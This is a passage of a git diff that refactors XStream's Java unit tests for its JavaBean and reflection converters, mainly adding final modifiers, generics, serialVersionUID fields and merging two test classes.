BeanProvider( - new StringComparator())), XStream.PRIORITY_LOW); + final XStream xstream = new XStream(); + xstream.registerConverter(new JavaBeanConverter(xstream.getMapper(), new BeanProvider(new StringComparator())), + XStream.PRIORITY_LOW); xstream.alias("world", World.class); xstream.allowTypes(World.class); - String expected = "" - + "\n" - + " true\n" - + " false\n" - + " 4\n" - + " 5\n" - + " a\n" - + " w\n" - + " 8.0\n" - + " 9.0\n" - + " 10\n" - + " 11\n" - + " 1\n" - + " 2\n" - + " 6\n" - + " 7\n" - + " \n" - + ""; - - String result = xstream.toXML(world); + final String expected = "" + + "\n" + + " true\n" + + " false\n" + + " 4\n" + + " 5\n" + + " a\n" + + " w\n" + + " 8.0\n" + + " 9.0\n" + + " 10\n" + + " 11\n" + + " 1\n" + + " 2\n" + + " 6\n" + + " 7\n" + + " \n" + + ""; + + final String result = xstream.toXML(world); assertEquals(expected, result); - World world2 = (World) xstream.fromXML(result); + final World world2 = xstream.fromXML(result); assertEquals(null, world2.getAString()); } @@ -243,6 +246,9 @@ public void testSerializesNullValue() { * Only normal and trans are serializable properties, the field modifiers do not matter */ public static class TypesOfFields extends StandardObject { + + private static final long serialVersionUID = 200504L; + String normal = "normal"; transient String trans = "transient"; @@ -255,7 +261,7 @@ public static String getStat() { return stat; } - public static void setStat(String stat) { + public static void setStat(final String stat) { TypesOfFields.stat = stat; } @@ -267,7 +273,7 @@ public String getNormal() { return normal; } - public void setNormal(String normal) { + public void setNormal(final String normal) { this.normal = normal; } @@ -275,114 +281,117 @@ public String getTrans() { return trans; } - public void setTrans(String trans) { + public void setTrans(final String trans) { this.trans = trans; } } public void testDoesNotSerializeStaticFields() { - TypesOfFields fields = new TypesOfFields(); - String expected = "" + final TypesOfFields fields = new TypesOfFields(); + final String expected = "" + "\n" + " normal\n" + " transient\n" + ""; - XStream xstream = new XStream(); - xstream.registerConverter(new JavaBeanConverter(xstream.getMapper(), new BeanProvider( - new StringComparator())), -20); + final XStream xstream = new XStream(); + xstream.registerConverter(new JavaBeanConverter(xstream.getMapper(), new BeanProvider(new StringComparator())), + -20); xstream.alias("types", TypesOfFields.class); - String xml = xstream.toXML(fields); + final String xml = xstream.toXML(fields); assertEquals(expected, xml); } public static class SimpleBean extends StandardObject { + + private static final long serialVersionUID = 200707L; + private Object member; public Object getMember() { - return this.member; + return member; } - public void setMember(Object member) { + public void setMember(final Object member) { this.member = member; } } public void testSupportsTypeAlias() { - SimpleBean innerBean = new SimpleBean(); - SimpleBean bean = new SimpleBean(); + final SimpleBean innerBean = new SimpleBean(); + final SimpleBean bean = new SimpleBean(); bean.setMember(innerBean); innerBean.setMember("foo"); - String expected = "" + final String expected = "" + "\n" + " \n" + " foo\n" + " \n" + ""; - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.registerConverter(new JavaBeanConverter(xstream.getMapper()), XStream.PRIORITY_LOW); xstream.alias("bean", SimpleBean.class); - String xml = xstream.toXML(bean); + final String xml = xstream.toXML(bean); assertEquals(expected, xml); } public void testDoesNotSerializeOmittedFields() { - TypesOfFields fields = new TypesOfFields(); - String expected = ""; + final TypesOfFields fields = new TypesOfFields(); + final String expected = ""; - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.registerConverter(new JavaBeanConverter(xstream.getMapper()), XStream.PRIORITY_LOW); xstream.alias("types", TypesOfFields.class); xstream.omitField(TypesOfFields.class, "trans"); xstream.omitField(TypesOfFields.class, "foo"); xstream.omitField(TypesOfFields.class, "normal"); - String xml = xstream.toXML(fields); + final String xml = xstream.toXML(fields); assertEquals(expected, xml); } public void testDoesNotDeserializeOmittedFields() { - TypesOfFields fields = new TypesOfFields(); - String xml = "" - + "\n" - + " foo\n" - + " bar\n" + final TypesOfFields fields = new TypesOfFields(); + final String xml = "" // + + "\n" + + " foo\n" + + " bar\n" + ""; - XStream xstream = new XStream(); - xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName()+".*objects.**"); - xstream.allowTypesByWildcard(this.getClass().getName()+"$*"); + final XStream xstream = new XStream(); + xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName() + ".*objects.**"); + xstream.allowTypesByWildcard(this.getClass().getName() + "$*"); xstream.registerConverter(new JavaBeanConverter(xstream.getMapper()), XStream.PRIORITY_LOW); xstream.alias("types", TypesOfFields.class); xstream.omitField(TypesOfFields.class, "foo"); xstream.omitField(TypesOfFields.class, "normal"); - TypesOfFields unmarshalledFields = (TypesOfFields)xstream.fromXML(xml); + final TypesOfFields unmarshalledFields = xstream.fromXML(xml); assertEquals(fields, unmarshalledFields); } - + public void testIgnoresUnknownFieldsMatchingPattern() { - TypesOfFields fields = new TypesOfFields(); + final TypesOfFields fields = new TypesOfFields(); fields.setNormal("foo"); - String xml = "" - + "\n" - + " foo\n" - + " bar\n" + final String xml = ""// + + "\n" + + " foo\n" + + " bar\n" + ""; - XStream xstream = new XStream(); - xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName()+".*objects.**"); - xstream.allowTypesByWildcard(this.getClass().getName()+"$*"); + final XStream xstream = new XStream(); + xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName() + ".*objects.**"); + xstream.allowTypesByWildcard(this.getClass().getName() + "$*"); xstream.registerConverter(new JavaBeanConverter(xstream.getMapper()), XStream.PRIORITY_LOW); xstream.alias("types", TypesOfFields.class); xstream.ignoreUnknownElements("fo.*"); - TypesOfFields unmarshalledFields = (TypesOfFields)xstream.fromXML(xml); + final TypesOfFields unmarshalledFields = xstream.fromXML(xml); assertEquals(fields, unmarshalledFields); } @@ -390,24 +399,25 @@ public static class UnsafeBean { public String getUnsafe() { throw new RuntimeException("Do not call"); } - public void setUnsafe(String value) { + + public void setUnsafe(final String value) { // ignore } } - + public void testDoesNotGetValueOfOmittedFields() { - UnsafeBean bean = new UnsafeBean(); - String expected = ""; + final UnsafeBean bean = new UnsafeBean(); + final String expected = ""; - XStream xstream = new XStream(); + final XStream xstream = new XStream(); xstream.registerConverter(new JavaBeanConverter(xstream.getMapper()), XStream.PRIORITY_LOW); xstream.alias("unsafeBean", UnsafeBean.class); xstream.omitField(UnsafeBean.class, "unsafe"); - - String xml = xstream.toXML(bean); + + final String xml = xstream.toXML(bean); assertEquals(expected, xml); } - + public static class Person { private String fName; private String lName; @@ -416,16 +426,16 @@ public Person() { // Bean constructor } - public Person(String firstName, String lastName) { - this.fName = firstName; - this.lName = lastName; + public Person(final String firstName, final String lastName) { + fName = firstName; + lName = lastName; } public String getFirstName() { return fName; } - public void setFirstName(String name) { + public void setFirstName(final String name) { fName = name; } @@ -433,7 +443,7 @@ public String getLastName() { return lName; } - public void setLastName(String name) { + public void setLastName(final String name) { lName = name; } } @@ -445,39 +455,37 @@ public Man() { super(); } - public Man(String firstName, String lastName) { + public Man(final String firstName, final String lastName) { super(firstName, lastName); } } public void testDoesNotSerializeOmittedInheritedFields() { - XStream xstream = new XStream(); - xstream.registerConverter( - new JavaBeanConverter(xstream.getMapper()), XStream.PRIORITY_LOW); + final XStream xstream = new XStream(); + xstream.registerConverter(new JavaBeanConverter(xstream.getMapper()), XStream.PRIORITY_LOW); xstream.omitField(Person.class, "lastName"); xstream.alias("man", Man.class); - Man man = new Man("John", "Doe"); - String expected = "" - + "\n" - + " John\n" + final Man man = new Man("John", "Doe"); + final String expected = "" // + + "\n" + + " John\n" + ""; assertEquals(expected, xstream.toXML(man)); } public void testUseAliasInheritedFields() { - XStream xstream = new XStream(); - xstream.registerConverter( - new JavaBeanConverter(xstream.getMapper(), new BeanProvider( - new StringComparator())), XStream.PRIORITY_LOW); + final XStream xstream = new XStream(); + xstream.registerConverter(new JavaBeanConverter(xstream.getMapper(), new BeanProvider(new StringComparator())), + XStream.PRIORITY_LOW); xstream.aliasField("first-name", Person.class, "firstName"); xstream.aliasField("last-name", Person.class, "lastName"); xstream.alias("man", Man.class); - Man man = new Man("John", "Doe"); - String expected = "" + final Man man = new Man("John", "Doe"); + final String expected = "" + "\n" + " John\n" + " Doe\n" @@ -487,12 +495,11 @@ public void testUseAliasInheritedFields() { } public void testFailsFastIfPropertyIsDefinedTwice() { - XStream xstream = new XStream(); - xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName()+".*objects.**"); - xstream.allowTypesByWildcard(this.getClass().getName()+"$*"); - xstream.registerConverter( - new JavaBeanConverter(xstream.getMapper()), XStream.PRIORITY_LOW); - String input = "" + final XStream xstream = new XStream(); + xstream.allowTypesByWildcard(AbstractAcceptanceTest.class.getPackage().getName() + ".*objects.**"); + xstream.allowTypesByWildcard(this.getClass().getName() + "$*"); + xstream.registerConverter(new JavaBeanConverter(xstream.getMapper()), XStream.PRIORITY_LOW); + final String input = "" // + "\n" + " foo\n" + " bar\n" @@ -504,13 +511,13 @@ public void testFailsFastIfPropertyIsDefinedTwice() { xstream.fromXML(input); fail("Expected exception"); - } catch (JavaBeanConverter.DuplicatePropertyException expected) { + } catch (final JavaBeanConverter.DuplicatePropertyException expected) { assertEquals("normal", expected.get("property")); } } - + public void testCanConvertDoesNotThrowException() { - JavaBeanConverter converter = new JavaBeanConverter(null); + final JavaBeanConverter converter = new JavaBeanConverter(null); assertTrue(converter.canConvert(SimpleBean.class)); assertFalse(converter.canConvert(null)); assertFalse(converter.canConvert(long.class)); diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/javabean/PropertyDictionaryTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/javabean/PropertyDictionaryTest.java index 8efe993f5..b3940172d 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/javabean/PropertyDictionaryTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/javabean/PropertyDictionaryTest.java @@ -1,34 +1,35 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 12. April 2005 by Joe Walnes */ package com.thoughtworks.xstream.converters.javabean; -import junit.framework.TestCase; - import java.beans.PropertyDescriptor; import java.util.Iterator; +import junit.framework.TestCase; + + public class PropertyDictionaryTest extends TestCase { private PropertyDictionary propertyDictionary; + @Override protected void setUp() throws Exception { super.setUp(); propertyDictionary = new PropertyDictionary(); } /** - * Test class: three serializable properties, one with a all capital name, - * two others non serializable, one readable, one writable, and another and - * a lonely field + * Test class: three serializable properties, one with a all capital name, two others non serializable, one + * readable, one writable, and another and a lonely field */ class SomeClass { private String a; @@ -39,15 +40,17 @@ class SomeClass { private String d; + @SuppressWarnings("unused") private String e; + @SuppressWarnings("unused") private String f; public String getA() { return a; } - public void setA(String a) { + public void setA(final String a) { this.a = a; } @@ -55,15 +58,15 @@ public String getURL() { return URL; } - public void setURL(String url) { - this.URL = url; + public void setURL(final String url) { + URL = url; } public String getC() { return c; } - public void setC(String c) { + public void setC(final String c) { this.c = c; } @@ -71,25 +74,25 @@ public String getD() { return d; } - public void setE(String e) { + public void setE(final String e) { this.e = e; } } public void testListsFieldsInClassInDefinitionOrder() { - Iterator properties = propertyDictionary.serializablePropertiesFor(SomeClass.class); - assertEquals("URL", ((BeanProperty) properties.next()).getName()); - assertEquals("a", ((BeanProperty) properties.next()).getName()); - assertEquals("c", ((BeanProperty) properties.next()).getName()); - assertFalse("No more fields should be present", properties.hasNext()); - - properties = propertyDictionary.propertiesFor(SomeClass.class); - assertEquals("URL", ((PropertyDescriptor) properties.next()).getName()); - assertEquals("a", ((PropertyDescriptor) properties.next()).getName()); - assertEquals("c", ((PropertyDescriptor) properties.next()).getName()); - assertEquals("d", ((PropertyDescriptor) properties.next()).getName()); - assertEquals("e", ((PropertyDescriptor) properties.next()).getName()); - assertFalse("No more fields should be present", properties.hasNext()); + final Iterator beanProperties = propertyDictionary.serializablePropertiesFor(SomeClass.class); + assertEquals("URL", beanProperties.next().getName()); + assertEquals("a", beanProperties.next().getName()); + assertEquals("c", beanProperties.next().getName()); + assertFalse("No more fields should be present", beanProperties.hasNext()); + + final Iterator propertyDesc = propertyDictionary.propertiesFor(SomeClass.class); + assertEquals("URL", propertyDesc.next().getName()); + assertEquals("a", propertyDesc.next().getName()); + assertEquals("c", propertyDesc.next().getName()); + assertEquals("d", propertyDesc.next().getName()); + assertEquals("e", propertyDesc.next().getName()); + assertFalse("No more fields should be present", propertyDesc.hasNext()); } /** @@ -102,7 +105,7 @@ public String getBrilliant() { return brilliant; } - public void setBrilliant(String brilliant) { + public void setBrilliant(final String brilliant) { this.brilliant = brilliant; } @@ -110,27 +113,28 @@ public String getPrivate() { return null; } - private void setPrivate(String string) { + @SuppressWarnings("unused") + private void setPrivate(final String string) { } } public void testIncludesFieldsInSuperClasses() { - Iterator properties = propertyDictionary.serializablePropertiesFor(SpecialClass.class); - assertEquals("URL", ((BeanProperty) properties.next()).getName()); - assertEquals("a", ((BeanProperty) properties.next()).getName()); - assertEquals("brilliant", ((BeanProperty) properties.next()).getName()); - assertEquals("c", ((BeanProperty) properties.next()).getName()); - assertFalse("No more fields should be present", properties.hasNext()); - - properties = propertyDictionary.propertiesFor(SpecialClass.class); - assertEquals("URL", ((PropertyDescriptor) properties.next()).getName()); - assertEquals("a", ((PropertyDescriptor) properties.next()).getName()); - assertEquals("brilliant", ((PropertyDescriptor) properties.next()).getName()); - assertEquals("c", ((PropertyDescriptor) properties.next()).getName()); - assertEquals("d", ((PropertyDescriptor) properties.next()).getName()); - assertEquals("e", ((PropertyDescriptor) properties.next()).getName()); - assertEquals("private", ((PropertyDescriptor) properties.next()).getName()); - assertFalse("No more fields should be present", properties.hasNext()); + final Iterator beanProperties = propertyDictionary.serializablePropertiesFor(SpecialClass.class); + assertEquals("URL", beanProperties.next().getName()); + assertEquals("a", beanProperties.next().getName()); + assertEquals("brilliant", beanProperties.next().getName()); + assertEquals("c", beanProperties.next().getName()); + assertFalse("No more fields should be present", beanProperties.hasNext()); + + final Iterator propertyDesc = propertyDictionary.propertiesFor(SpecialClass.class); + assertEquals("URL", propertyDesc.next().getName()); + assertEquals("a", propertyDesc.next().getName()); + assertEquals("brilliant", propertyDesc.next().getName()); + assertEquals("c", propertyDesc.next().getName()); + assertEquals("d", propertyDesc.next().getName()); + assertEquals("e", propertyDesc.next().getName()); + assertEquals("private", propertyDesc.next().getName()); + assertFalse("No more fields should be present", propertyDesc.hasNext()); } -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/AbstractReflectionProviderTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/AbstractReflectionProviderTest.java index 0ba059976..6ea2ed96f 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/AbstractReflectionProviderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/AbstractReflectionProviderTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 14. May 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.reflection; @@ -14,12 +14,14 @@ import org.jmock.Mock; import org.jmock.MockObjectTestCase; + public abstract class AbstractReflectionProviderTest extends MockObjectTestCase { protected ReflectionProvider reflectionProvider; public abstract ReflectionProvider createReflectionProvider(); + @Override protected void setUp() throws Exception { super.setUp(); reflectionProvider = createReflectionProvider(); @@ -34,6 +36,7 @@ public void testConstructsStaticInnerClass() { } public static class WithFields { + @SuppressWarnings("unused") private int a; private int b = 2; @@ -44,44 +47,36 @@ public int getParentB() { public void testVisitsEachFieldInClass() { // setup - Mock mockBlock = new Mock(ReflectionProvider.Visitor.class); + final Mock mockBlock = new Mock(ReflectionProvider.Visitor.class); // expect - mockBlock.expects(once()) - .method("visit") - .with(eq("a"), eq(int.class), eq(WithFields.class), ANYTHING); - mockBlock.expects(once()) - .method("visit") - .with(eq("b"), eq(int.class), eq(WithFields.class), ANYTHING); + mockBlock.expects(once()).method("visit").with(eq("a"), eq(int.class), eq(WithFields.class), ANYTHING); + mockBlock.expects(once()).method("visit").with(eq("b"), eq(int.class), eq(WithFields.class), ANYTHING); // execute - reflectionProvider.visitSerializableFields(new WithFields(), (ReflectionProvider.Visitor) mockBlock.proxy()); + reflectionProvider.visitSerializableFields(new WithFields(), (ReflectionProvider.Visitor)mockBlock.proxy()); // verify mockBlock.verify(); } public static class SubClassWithFields extends WithFields { + @SuppressWarnings("unused") private int c; } public void testVisitsEachFieldInHeirarchy() { // setup - Mock mockBlock = new Mock(ReflectionProvider.Visitor.class); + final Mock mockBlock = new Mock(ReflectionProvider.Visitor.class); // expect - mockBlock.expects(once()) - .method("visit") - .with(eq("a"), eq(int.class), eq(WithFields.class), ANYTHING); - mockBlock.expects(once()) - .method("visit") - .with(eq("b"), eq(int.class), eq(WithFields.class), ANYTHING); - mockBlock.expects(once()) - .method("visit") - .with(eq("c"), eq(int.class), eq(SubClassWithFields.class), ANYTHING); + mockBlock.expects(once()).method("visit").with(eq("a"), eq(int.class), eq(WithFields.class), ANYTHING); + mockBlock.expects(once()).method("visit").with(eq("b"), eq(int.class), eq(WithFields.class), ANYTHING); + mockBlock.expects(once()).method("visit").with(eq("c"), eq(int.class), eq(SubClassWithFields.class), ANYTHING); // execute - reflectionProvider.visitSerializableFields(new SubClassWithFields(), (ReflectionProvider.Visitor) mockBlock.proxy()); + reflectionProvider.visitSerializableFields(new SubClassWithFields(), (ReflectionProvider.Visitor)mockBlock + .proxy()); // verify mockBlock.verify(); @@ -97,54 +92,49 @@ public int getChildB() { public void testVisitsFieldsHiddenBySubclass() { // setup - Mock mockBlock = new Mock(ReflectionProvider.Visitor.class); + final Mock mockBlock = new Mock(ReflectionProvider.Visitor.class); // expect - mockBlock.expects(once()) - .method("visit") - .with(eq("b"), eq(int.class), eq(WithFields.class), ANYTHING) - .id("first"); - mockBlock.expects(once()) - .method("visit") - .with(eq("b"), eq(int.class), eq(SubClassWithHiddenFields.class), ANYTHING) - .after("first"); - mockBlock.expects(once()) - .method("visit") - .with(eq("a"), ANYTHING, ANYTHING, ANYTHING); + mockBlock.expects(once()).method("visit").with(eq("b"), eq(int.class), eq(WithFields.class), ANYTHING).id( + "first"); + mockBlock + .expects(once()) + .method("visit") + .with(eq("b"), eq(int.class), eq(SubClassWithHiddenFields.class), ANYTHING) + .after("first"); + mockBlock.expects(once()).method("visit").with(eq("a"), ANYTHING, ANYTHING, ANYTHING); // execute - reflectionProvider.visitSerializableFields(new SubClassWithHiddenFields(), (ReflectionProvider.Visitor) mockBlock.proxy()); + reflectionProvider.visitSerializableFields(new SubClassWithHiddenFields(), (ReflectionProvider.Visitor)mockBlock + .proxy()); // verify mockBlock.verify(); } public void testWritesHiddenFields() { - SubClassWithHiddenFields o = new SubClassWithHiddenFields(); + final SubClassWithHiddenFields o = new SubClassWithHiddenFields(); reflectionProvider.writeField(o, "b", new Integer(10), null); reflectionProvider.writeField(o, "b", new Integer(20), WithFields.class); assertEquals(10, o.getChildB()); assertEquals(20, o.getParentB()); } - protected void assertCanCreate(Class type) { - Object result = reflectionProvider.newInstance(type); + protected void assertCanCreate(final Class type) { + final Object result = reflectionProvider.newInstance(type); assertEquals(type, result.getClass()); } - protected void assertCannotCreate(Class type) { + protected void assertCannotCreate(final Class type) { try { reflectionProvider.newInstance(type); fail("Should not have been able to newInstance " + type); - } catch (ObjectAccessException goodException) { + } catch (final ObjectAccessException goodException) { } } - public static class PublicStaticInnerClass { - } - -} + public static class PublicStaticInnerClass {} -class OuterClass { } +class OuterClass {} diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/FieldDictionaryTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/FieldDictionaryTest.java index 78e9b2c60..be9ee4eec 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/FieldDictionaryTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/FieldDictionaryTest.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -182,9 +182,7 @@ public void run() { for(Class cls = type; cls != null; count++, cls = cls.getSuperclass()); assertEquals("fieldCount not equal for type " + type.getName(), count-1, fieldCount); } - } catch (final InterruptedException e) { - fail("Exception " + e.getClass()); - } catch (final BrokenBarrierException e) { + } catch (final InterruptedException | BrokenBarrierException e) { fail("Exception " + e.getClass()); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/NativeFieldKeySorterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/NativeFieldKeySorterTest.java index 7919a8fe1..399075412 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/NativeFieldKeySorterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/NativeFieldKeySorterTest.java @@ -1,22 +1,21 @@ /* - * Copyright (C) 2007 XStream Committers. + * Copyright (C) 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 17. May 2007 by Joerg Schaible */ package com.thoughtworks.xstream.converters.reflection; -import com.thoughtworks.xstream.core.util.OrderRetainingMap; - -import junit.framework.TestCase; - import java.lang.reflect.Field; +import java.util.LinkedHashMap; import java.util.Map; +import junit.framework.TestCase; + public class NativeFieldKeySorterTest extends TestCase { @@ -36,24 +35,27 @@ static class Second extends First { } public void testDoesSortInDeclarationOrderWithFieldsOfBaseClassFirst() { - String[] fieldOrder = new String[]{"yyy", "ccc", "bbb", "aaa", "xxx", "zzz"}; - FieldKeySorter sorter = new NativeFieldKeySorter(); - Map originalMap = buildMap(Second.class); - Map map = sorter.sort(Second.class, originalMap); - Field[] fields = (Field[])map.values().toArray(new Field[map.size()]); + final String[] fieldOrder = new String[]{"yyy", "ccc", "bbb", "aaa", "xxx", "zzz"}; + final FieldKeySorter sorter = new NativeFieldKeySorter(); + final Map originalMap = buildMap(Second.class); + final Map map = sorter.sort(Second.class, originalMap); + final Field[] fields = map.values().toArray(new Field[map.size()]); assertEquals(fieldOrder.length, fields.length); for (int i = 0; i < fieldOrder.length; i++) { assertEquals("Field[" + i + ']', fieldOrder[i], fields[i].getName()); } } - private Map buildMap(Class type) { - Map map = new OrderRetainingMap(); - Class cls = type; + private Map buildMap(final Class type) { + final Map map = new LinkedHashMap<>(); + Class cls = type; while (!cls.equals(Object.class)) { - Field[] fields = cls.getDeclaredFields(); + final Field[] fields = cls.getDeclaredFields(); for (int i = 0; i < fields.length; i++) { - Field field = fields[i]; + final Field field = fields[i]; + if (field.isSynthetic() && field.getName().startsWith("$jacoco")) { + continue; + } map.put(new FieldKey(field.getName(), cls, i), field); } cls = cls.getSuperclass(); diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProvider15Test.java b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProvider15Test.java deleted file mode 100644 index 80c7a9dbc..000000000 --- a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProvider15Test.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright (C) 2006, 2007, 2013 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 08. February 2006 by Joerg Schaible - */ -package com.thoughtworks.xstream.converters.reflection; - - -public class PureJavaReflectionProvider15Test extends AbstractReflectionProviderTest { - - // inherits tests from superclass - - public ReflectionProvider createReflectionProvider() { - return new PureJavaReflectionProvider(); - } - - - // --------------------------------------------------------- - - - public static class WithFinalField { - private final String s; - private WithFinalField() { - this.s = ""; - } - String getFinal() { - return s; - } - } - - public void testCanCreateWithFinalField() { - assertCanCreate(WithFinalField.class); - } - - public void testWriteToFinalField() { - Object result = reflectionProvider.newInstance(WithFinalField.class); - reflectionProvider.writeField(result, "s", "foo", WithFinalField.class); - WithFinalField withFinalField = (WithFinalField)result; - assertEquals("foo", withFinalField.getFinal()); - } - -} - diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProviderTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProviderTest.java index f732850e8..086e6abfe 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProviderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/PureJavaReflectionProviderTest.java @@ -1,56 +1,49 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * - * Created on 07. March 2004 by Joe Walnes + * + * Created on 07. March 2004 by Joe Walnes, merged with PureJavaReflectionProvider15Test */ package com.thoughtworks.xstream.converters.reflection; import java.io.Serializable; + public class PureJavaReflectionProviderTest extends AbstractReflectionProviderTest { // inherits tests from superclass + @Override public ReflectionProvider createReflectionProvider() { return new PureJavaReflectionProvider(); } - // --------------------------------------------------------- - - private static class PrivateStaticInnerClass { - } + private static class PrivateStaticInnerClass {} public void testCanCreatePrivateStaticInnerClasses() { assertCanCreate(PrivateStaticInnerClass.class); } - // --------------------------------------------------------- + public class PublicNonStaticInnerClass {} - public class PublicNonStaticInnerClass { - } - - private class PrivateNonStaticInnerClass { - } + private class PrivateNonStaticInnerClass {} public void testIsNotCapableOfConstructingNonStaticInnerClasses() { assertCannotCreate(PublicNonStaticInnerClass.class); assertCannotCreate(PrivateNonStaticInnerClass.class); } - // --------------------------------------------------------- - public static class WithConstructorThatDoesStuff { public WithConstructorThatDoesStuff() { throw new UnsupportedOperationException("constructor called"); @@ -61,17 +54,15 @@ public void testUnfortunatelyExecutesCodeInsideConstructor() { try { reflectionProvider.newInstance(WithConstructorThatDoesStuff.class); fail("Expected code in constructor to be executed and throw an exception"); - } catch (UnsupportedOperationException expectedException) { + } catch (final UnsupportedOperationException expectedException) { // good } } - // --------------------------------------------------------- - public static class WithoutDefaultConstructor { - public WithoutDefaultConstructor(String arg) { + public WithoutDefaultConstructor(final String arg) { } } @@ -79,12 +70,10 @@ public void testIsNotCapableOfConstructingClassesWithoutDefaultConstructor() { assertCannotCreate(WithoutDefaultConstructor.class); } - // --------------------------------------------------------- - public static class WithPrivateDefaultConstructor { - private WithPrivateDefaultConstructor(String thing) { + private WithPrivateDefaultConstructor(final String thing) { throw new UnsupportedOperationException("wrong constructor called"); } @@ -96,19 +85,24 @@ public void testUsesPrivateConstructorIfNecessary() { assertCanCreate(WithPrivateDefaultConstructor.class); } - // --------------------------------------------------------- - private static class SerializableWithoutDefaultConstructor implements Serializable { + private static final long serialVersionUID = 200410L; + @SuppressWarnings("unused") private int field1, field2; - public SerializableWithoutDefaultConstructor(String thing) { + + @SuppressWarnings("unused") + public SerializableWithoutDefaultConstructor(final String thing) { throw new UnsupportedOperationException("constructor called"); } } private class NonStaticSerializableWithoutDefaultConstructor implements Serializable { - public NonStaticSerializableWithoutDefaultConstructor(String thing) { + private static final long serialVersionUID = 200410L; + + @SuppressWarnings("unused") + public NonStaticSerializableWithoutDefaultConstructor(final String thing) { throw new UnsupportedOperationException("constructor called"); } } @@ -118,6 +112,28 @@ public void testBypassesConstructorForSerializableObjectsWithNoDefaultConstructo assertCanCreate(NonStaticSerializableWithoutDefaultConstructor.class); } + // --------------------------------------------------------- -} + public static class WithFinalField { + private final String s; + + private WithFinalField() { + s = ""; + } + String getFinal() { + return s; + } + } + + public void testCanCreateWithFinalField() { + assertCanCreate(WithFinalField.class); + } + + public void testWriteToFinalField() { + final Object result = reflectionProvider.newInstance(WithFinalField.class); + reflectionProvider.writeField(result, "s", "foo", WithFinalField.class); + final WithFinalField withFinalField = (WithFinalField)result; + assertEquals("foo", withFinalField.getFinal()); + } +} diff --git a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/ReflectionConverterTest.java b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/ReflectionConverterTest.java index 6938bcb88..c50c90275 100644 --- a/xstream/src/test/com/thoughtworks/xstream/converters/reflection/ReflectionConverterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/converters/reflection/ReflectionConverterTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2010, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2013, 2014, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.reflection; @@ -16,16 +16,18 @@ import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.core.ClassLoaderReference; import com.thoughtworks.xstream.core.util.CompositeClassLoader; -import com.thoughtworks.xstream.io.xml.XppDriver; +import com.thoughtworks.xstream.core.util.DefaultDriver; import com.thoughtworks.xstream.mapper.AttributeMapper; import com.thoughtworks.xstream.mapper.DefaultMapper; import com.thoughtworks.xstream.mapper.Mapper; import junit.framework.TestCase; + public class ReflectionConverterTest extends TestCase { public static class World extends StandardObject { + private static final long serialVersionUID = 200501L; int anInt = 1; Integer anInteger = new Integer(2); char anChar 